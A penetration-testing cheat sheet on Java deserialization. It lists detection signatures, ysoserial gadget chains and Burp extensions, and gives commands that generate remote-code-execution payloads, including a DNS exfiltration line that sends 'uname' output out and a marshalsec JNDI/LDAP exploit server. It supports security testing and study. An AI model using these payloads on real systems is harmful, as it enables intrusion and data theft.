# Java Deserialization ## Summary * [Detection](#detection) * [Tools](#tools) * [Ysoserial](#ysoserial) * [Burp extensions using ysoserial](#burp-extensionsl) * [Alternative Tooling](#alternative-tooling) * [References](#references) ## Detection - `"AC ED 00 05"` in Hex * `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol. * `00 05`: STREAM_VERSION. The serialization version. - `"rO0"` in Base64 - Content-type = "application/x-java-serialized-object" - `"H4sIAAAAAAAAAJ"` in gzip(base64) ## Tools ### Ysoserial [frohoff/ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. ```java java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin java -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64 ``` **List of payloads included in ysoserial:** ```ps1 Payload Authors Dependencies ------- ------- ------------ AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 Clojure @JackOfMostTrades clojure:1.8.0 CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 CommonsCollections1 @frohoff commons-collections:3.1 CommonsCollections2 @frohoff commons-collections4:4.0 CommonsCollections3 @frohoff commons-collections:3.1 CommonsCollections4 @frohoff commons-collections4:4.0 CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1 CommonsCollections6 @matthias_kaiser commons-collections:3.1 CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1 FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4 Groovy1 @frohoff groovy:2.3.9 Hibernate1 @mbechler Hibernate2 @mbechler JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 JRMPClient @mbechler JRMPListener @mbechler JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 Jdk7u21 @frohoff Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2 MozillaRhino1 @matthias_kaiser js:1.7R2 MozillaRhino2 @_tint0 js:1.7R2 Myfaces1 @mbechler Myfaces2 @mbechler ROME @mbechler rome:1.0 Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2 URLDNS @gebl Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14 Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4 ``` ### Burp extensions - [NetSPI/JavaSerialKiller](https://github.com/NetSPI/JavaSerialKiller) - Burp extension to perform Java Deserialization Attacks - [federicodotta/Java Deserialization Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner) - All-in-one plugin for Burp Suite for the detection and the exploitation of Java deserialization vulnerabilities - [summitt/burp-ysoserial](https://github.com/summitt/burp-ysoserial) - YSOSERIAL Integration with Burp Suite - [DirectDefense/SuperSerial](https://github.com/DirectDefense/SuperSerial) - Burp Java Deserialization Vulnerability Identification - [DirectDefense/SuperSerial-Active](https://github.com/DirectDefense/SuperSerial-Active) - Java Deserialization Vulnerability Active Identification Burp Extender ### Alternative Tooling - [pwntester/JRE8u20_RCE_Gadget](https://github.com/pwntester/JRE8u20_RCE_Gadget) - Pure JRE 8 RCE Deserialization gadget - [joaomatosf/JexBoss](https://github.com/joaomatosf/jexboss) - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool - [pimps/ysoserial-modified](https://github.com/pimps/ysoserial-modified) - A fork of the original ysoserial application - [NickstaDB/SerialBrute](https://github.com/NickstaDB/SerialBrute) - Java serialization brute force attack tool - [NickstaDB/SerializationDumper](https://github.com/NickstaDB/SerializationDumper) - A tool to dump Java serialization streams in a more human readable form - [bishopfox/gadgetprobe](https://labs.bishopfox.com/gadgetprobe) - Exploiting Deserialization to Brute-Force the Remote Classpath - [k3idii/Deserek](https://github.com/k3idii/Deserek) - Python code to Serialize and Unserialize java binary serialization format. ```java java -jar ysoserial.jar URLDNS http://xx.yy > yss_base.bin python deserek.py yss_base.bin --format python > yss_url.py python yss_url.py yss_new.bin java -cp JavaSerializationTestSuite DeSerial yss_new.bin ``` - [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Turning your data into code execution ```java $ java -cp marshalsec.jar marshalsec. [-a] [-v] [-t] [ []] $ java -cp marshalsec.jar marshalsec.JsonIO Groovy "cmd" "/c" "calc" $ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389 // -a - generates/tests all payloads for that marshaller // -t - runs in test mode, unmarshalling the generated payloads after generating them. // -v - verbose mode, e.g. also shows the generated payload in test mode. // gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller. // arguments - Gadget specific arguments ``` Payload generators for the following marshallers are included:
| Marshaller | Gadget Impact | ------------------------------- | ---------------------------------------------- | BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization
various third party libraries RCEs | Hessian|Burlap | various third party RCEs | Castor | dependency library RCE | Jackson | **possible JDK only RCE**, various third party RCEs | Java | yet another third party RCE | JsonIO | **JDK only RCE** | JYAML | **JDK only RCE** | Kryo | third party RCEs | KryoAltStrategy | **JDK only RCE** | Red5AMF(0|3) | **JDK only RCE** | SnakeYAML | **JDK only RCEs** | XStream | **JDK only RCEs** | YAMLBeans | third party RCE ## References - [Detecting deserialization bugs with DNS exfiltration - Philippe Arteau - March 22, 2017](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) - [How I found a $1500 worth Deserialization vulnerability - Ashish Kunwar - August 28, 2018](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a) - [Jackson CVE-2019-12384: anatomy of a vulnerability class - Andrea Brancaleoni - July 22, 2019](https://blog.doyensec.com/2019/07/22/jackson-gadgets.html) - [Java-Deserialization-Cheat-Sheet - Aleksei Tiurin - May 23, 2023](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md) - [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - Peter Stöckli - August 14, 2017](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html) - [On Jackson CVEs: Don’t Panic — Here is what you need to know - cowtowncoder - December 22, 2017](https://medium.com/@cowtowncoder/on-jackson-cves-dont-panic-here-is-what-you-need-to-know-54cd0d6e8062#da96) - [Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin (@artsploit) - June 29, 2021](https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464) - [Triggering a DNS lookup using Java Deserialization - paranoidsoftware.com - July 5, 2020](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) - [Understanding & practicing java deserialization exploits - Diablohorn - September 9, 2017](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)